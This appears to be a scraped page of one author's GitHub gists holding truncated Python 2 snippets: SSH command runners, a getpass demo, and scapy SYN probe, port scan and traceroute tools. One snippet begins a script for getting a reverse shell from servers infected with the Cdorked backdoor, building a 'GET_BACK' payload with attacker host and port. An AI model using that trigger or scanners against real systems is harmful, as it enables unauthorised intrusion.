This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python ssh_exec_secure.py | |
host: 127.0.0.1 | |
user: packetforger | |
pass: | |
(*) Running uname on 127.0.0.1 | |
(+) Connecting via SSH to 127.0.0.1 | |
Linux | |
$ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
import paramiko | |
import getpass | |
def run_ssh_cmd(host, user, passwd, cmd): | |
ssh = paramiko.SSHClient() | |
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
try: | |
print "(+) Connecting via SSH to %s" %(ip) | |
ssh.connect(ip, username=user, password=passwd) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ python ssh_exec_insecure.py | |
host: 127.0.0.1 | |
user: packetforger | |
pass: lolpassword | |
(*) Running uname on 127.0.0.1 | |
(+) Connecting via SSH to 127.0.0.1 | |
Linux | |
$ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
import paramiko | |
def run_ssh_cmd(host, user, passwd, cmd): | |
ssh = paramiko.SSHClient() | |
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
try: | |
print "(+) Connecting via SSH to %s" %(ip) | |
ssh.connect(ip, username=user, password=passwd) | |
except paramiko.AuthenticationException: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
""" | |
Example use of "getpass" in python to accept user input | |
of sensitive information such as passwords without echoing | |
them back to the screen. | |
Example Run: | |
$ python test.py | |
Example Getpass Use Script | |
Input Your Credentials (password will not be echoed) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
# really awful dict example | |
import sys | |
dict = { | |
"cat": "meow", | |
"dog": "woof", | |
"rat": "squeak" | |
} | |
x = dict[sys.argv[1]] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
# SYN probes a port on an IP, tells if open/closed | |
from scapy.all import * | |
import sys | |
def synprobe(targetIP, targetPort): | |
""" Send a SYN packet, recieve reply, tell if open/closed """ | |
probe = sr1(IP(dst=targetIP)/TCP(dport= int(targetPort), flags = "S"), verbose = False, timeout = 2) | |
if probe[TCP].flags == 18: | |
print "%s:%s open" %(targetIP, targetPort) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
# All credit to malware.lu team for expert analysis! | |
# https://code.google.com/p/malware-lu/wiki/en_malware_cdorked_A#How_to_get_a_shell? | |
# Have fun owing all them pre-owned box | |
# @packetforger - packetforger.wordpress.com | |
import requesocks | |
import sys | |
def getShell(rhost, rport, lhost, lport): | |
payload = ('GET_BACK;%s;%s' %(lhost, lport)).encode('hex') #payload |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from scapy.all import * | |
import sys | |
conf.verb = 0 | |
def scan(targetIP, port): | |
print "(+) Scanning %s for port %s" %(targetIP, port) | |
p=IP(dst=targetIP)/TCP(dport=int(port), flags="S") | |
ans,unans=sr(p, timeout=9) | |
print "(+) Printing results..." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
from scapy.all import * | |
import sys | |
conf.verb=0 # set verbose to off. Change to 1 if you want verbosity | |
def tcptraceroute(targetIP, port): | |
print "(+) Tracerouting %s:%s" %(targetIP, port) | |
print "(!) Due to a bug you may want to ctrl+c after some time" | |
ans,unans = sr(IP(dst=targetIP,ttl=(1,10))/TCP(dport=int(port), flags="S")) | |
print "(+) Printing Results..." |
NewerOlder